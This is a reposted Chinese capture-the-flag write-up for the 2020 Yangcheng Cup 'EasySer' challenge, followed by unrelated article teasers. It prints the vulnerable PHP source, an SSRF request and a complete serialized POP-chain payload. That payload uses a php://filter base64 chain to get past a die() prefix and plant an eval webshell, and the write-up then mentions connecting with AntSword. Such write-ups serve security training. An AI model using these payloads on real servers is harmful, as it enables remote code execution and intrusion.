[羊城杯 2020]EasySer ---不会编程的崽

ops/2024/10/19 17:43:26/

稍微带点反序列化,稍微。

常规扫描robots.txt,给出提示star1.php。

很明显的ssrf嘛。直接读

star1.php?path=http://127.0.0.1/star1.php
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>

 也是很简单一个pop链,主要问题还是文件上传。而且这里没有给出参数,需要我们自己爆破。反正我是没爆破成功,不知道他们这么弄得,反序列化参数是c。

1.需要绕过die,因为他会将那个php代码进行拼接,导致无法执行我们写的木马。所以要将其除  

2.为了防止我们自己的php代码被剔除,所以要进行base64编码。

string.strip_tags:这个过滤器就比较有意思,用来处理掉读入的所有标签

<?php
class GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file='';public $text='';
}$flag=new GWHT();
$flag->hero=new Yongen();
$flag->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php';
$flag->hero->text='PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==';echo (serialize($flag));
payload:
O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:73:"php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php";s:4:"text";s:32:"PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}
入口:
star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:73:"php://filter/write=string.strip_tags|convert.base64-decode/resource=c.php";s:4:"text";s:32:"PD89IGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}

 我使用蚁剑连了之后,还用disable_function绕了一下(flag.php是假的)


http://www.ppmy.cn/ops/19911.html

相关文章

【C++】---STL容器适配器之queue

【C】---STL容器适配器之queue 一、队列1、队列的性质 二、队列类1、队列的构造2、empty()3、push()4、pop()5、size()6、front()7、back() 三、队列的模拟实现1、头文件&#xff08;底层&#xff1a;deque&#xff09;2、测试文件3、底层&#xff1a;list 一、队列 1、队列的…

【云原生|云计算系列】云计算基础概念

欢迎来到云原生专题的云计算系列第一篇博客&#xff0c;我们将探索云计算的基础知识&#xff0c;以帮助您深入了解这个迅速发展的领域。在前一篇博客中&#xff0c;我们介绍了云原生的概念和重要性&#xff0c;强调了它作为云计算的核心理念和实践的关键角色。本篇博客将进一步…

《Beginning C++20 From Novice to Professional》第五章 Arrays and Loops

循环和数组确实是联系比较紧密的两个基础语法&#xff0c;数组让我们管理大量同类对象&#xff0c;循环可以简单地遍历一个范围内的元素 本章我们可以学到&#xff1a; Arrays 数组开辟一段连续空间存储同类元素&#xff0c;我们通过【】下标来访问某个元素 如果无符号整型占…

为什么有的晶圆厂叫特色工艺晶圆厂?

知识星球&#xff08;星球名&#xff1a; 芯片制造与封测社区&#xff09;里的学员问&#xff1a; 经常看看到某某晶圆厂是12英寸特色工艺晶圆厂&#xff0c;特色工艺是指什么&#xff1f; 芯片的种类&#xff1f; 芯片分为四大类:mems,IC,光电器件&#xff0c;分立器件。 …

BIO NIO AIO有什么区别?

通俗易懂地解释这些东西是我的风格, BIO就是阻塞io,就是一个程序在发出io请求之后不能干任何别的事,只能等待请求,不断检测io的状态,只有接受到反馈之后才能干别的事 适用场景: 用作请求少而且连接时间短的情况 NIO就是非阻塞,也就是没有阻塞,怎么没有阻塞了?说白了就是发出…

C++笔试强训day9

目录 1.添加逗号 2.跳台阶 3.扑克牌顺子 day9的题目都比较简单&#xff0c;就不赘述了 1.添加逗号 链接 我的思路很清晰也很简单易懂&#xff1a; 把输入数据存入字符串string s&#xff0c;定义一个string ret&#xff0c;然后逆置string s&#xff0c;将s中的数一个一个…

3122.使矩阵满足条件的最少操作次数

周赛第三题,知道要用动态规划,但是不知道怎么回到子问题 显然根据题意我们需要让每一列都相同,但是相邻列不能选择同一种数字,观察到数据nums[i]介于0-9,我们就以此为突破口. 首先我们用count[n][10], count[i][j]记录第i1列值为j的元素个数,转移方程如下: dfs(i,pre) max(dfs…

(5)步态识别论文研读——GaitDAN:基于对抗域适应的跨视角步态识别

GaitDAN: Cross-view Gait Recognition via Adversarial Domain Adaptation | IEEE Journals & Magazine | IEEE Xplore GaitDAN: Cross-view Gait Recognition via Adversarial Domain Adaptation 基于对抗与适应 摘要&#xff1a;视角变化导致步态外观存在显着差异。因…